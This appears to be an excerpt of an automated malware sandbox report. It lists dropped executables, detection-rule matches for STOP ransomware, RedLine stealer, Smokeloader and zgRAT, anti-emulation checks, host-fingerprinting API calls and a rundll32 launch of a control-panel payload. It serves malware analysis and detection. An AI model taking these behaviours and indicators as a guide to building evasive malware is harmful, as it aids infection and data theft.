Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00808BB0	5_2_00808BB0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0089EC40	5_2_0089EC40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0089FC40	5_2_0089FC40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008F5DE0	5_2_008F5DE0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008F6D20	5_2_008F6D20
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008E4D40	5_2_008E4D40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00808E30	5_2_00808E30
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008A2FD0	5_2_008A2FD0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008F1F00	5_2_008F1F00

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: String function: 007CACE0 appears 86 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: String function: 043F26B4 appears 60 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324

Source: crt[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 2JjpKpJKHpHJisxPcc0WWCif.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: uSTzApXGKnAPBLGKxFTiBRtj.exe.0.dr

Static PE information: No import functions for PE file found

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFancyZonesEditor.dll4 vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1757595308.0000000004D25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650021174.000000014091B000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAcq.dll\< vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1757595308.0000000004D47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1725651159.0000000004B51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesFilezera2 vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAcq.dll\< vs SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000D.00000002.2354627600.000001CEBC380000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000000A.00000002.2470496556.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.2414453523.0000000002088000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000016.00000002.1925795583.00000000007EB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: pd2rJiO.cpl.9.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: pd2rJiO.cpl.9.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT size: 0x160 address: 0x0

Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995918596658206
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998531371124031
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99462890625
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995918596658206
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998531371124031
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99462890625
Source: Dnr7f7kJx0GzWtxbQaDXLIUA.exe.0.dr	Static PE information: Section: .data ZLIB complexity 0.9890492263349514
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978736139112904
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9941860465116279
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: lumma2305[2].exe.5.dr	Static PE information: Section: .data ZLIB complexity 0.9894404217479674
Source: Xv6O6ANXmRXk_nKzAGAD.exe.5.dr	Static PE information: Section: .data ZLIB complexity 0.9894404217479674
Source: pd2rJiO.cpl.9.dr	Static PE information: Section: .rdata ZLIB complexity 0.9933426131063433

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.mine.winEXE@129/290@48/33

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_0088FF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

5_2_0088FF00

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_008345E0 CreateDirectoryA,CreateDirectoryA,CoInitialize,CoCreateInstance,CoUninitialize,PathFindExtensionA,CopyFileA,Concurrency::cancel_current_task,

5_2_008345E0

Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe

File created: C:\Program Files\Windows Media Player\background.jpg

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7472:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_12
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5324

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

File created: C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Windows\SysWOW64\control.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1659445975.0000000000520000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.2033060356.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2134810264.0000000000C2D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1659445975.0000000000520000.00000004.00001000.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2279319311.0000000000A6D000.00000002.00000001.01000000.0000000D.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.2033060356.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2134810264.0000000000C2D000.00000040.00000001.01000000.00000014.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2413025288.0000000000401000.00000040.00000001.01000000.00000010.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2124577282.0000000000DCD000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2279319311.0000000000A6D000.00000002.00000001.01000000.0000000D.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2413025288.0000000000401000.00000040.00000001.01000000.00000010.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2124577282.0000000000DCD000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2491042221.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2522155505.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
